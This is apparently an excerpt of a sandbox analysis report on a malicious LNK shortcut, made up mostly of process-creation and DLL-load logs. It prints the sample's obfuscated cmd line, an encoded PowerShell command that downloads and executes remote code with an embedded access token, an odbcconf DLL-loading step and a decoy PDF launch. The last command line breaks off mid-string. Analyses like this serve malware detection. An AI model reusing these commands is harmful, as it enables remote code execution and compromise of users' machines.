Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1620,i,5413041402363609044,2761405665689861482,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Windows\System32\odbcconf.exe "C:\Windows\system32\odbcconf.exe" /a {REGSVR "C:\helper\ps2.dll"}
Source: unknown	Process created: C:\Windows\System32\odbcconf.exe "C:\Windows\system32\odbcconf.exe" /a {REGSVR "C:\helper\ps2.dll"}
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Form_Lamaran.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden New-Item -ItemType Directory -Force -Path C:\helper	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1620,i,5413041402363609044,2761405665689861482,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: odbcconf.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\odbcconf.exe	Section loaded: odbcconf.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\odbcconf.exe	Section loaded: wintypes.dll

Source: mjjt5kTb4o.lnk

LNK file: ..\..\..\..\..\Windows\System32\cmd.exe

Source: C:\Windows\System32\odbcconf.exe	Automated click: OK
Source: C:\Windows\System32\odbcconf.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.pdbbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE128000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb3a source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE128000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.4194746307.000001B9EDDD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbN source: powershell.exe, 00000002.00000002.4197539133.000001B9EE128000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" "AAAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOOOOOOOOOOOOOOOOOO||OOOOOOOOOOOOOOOOOOOOOOOOOOXXX||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||CCCCCCCC||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAA||ServiceRunLocalDriveUserNotes1AA||Se^T ACAACA=:\Helper&&ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||set SSA=exi&&ServiceRunLocalDriveUserNotes1||@if exist "C!ACAACA!" (!SSA!t) else ( ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||set A=PoW&&set aA=She&&ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||set VERIFICATION=l&&ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||^se^t USERNAME=SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0A&&^s^eT^ Driver=DAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA&&s^et 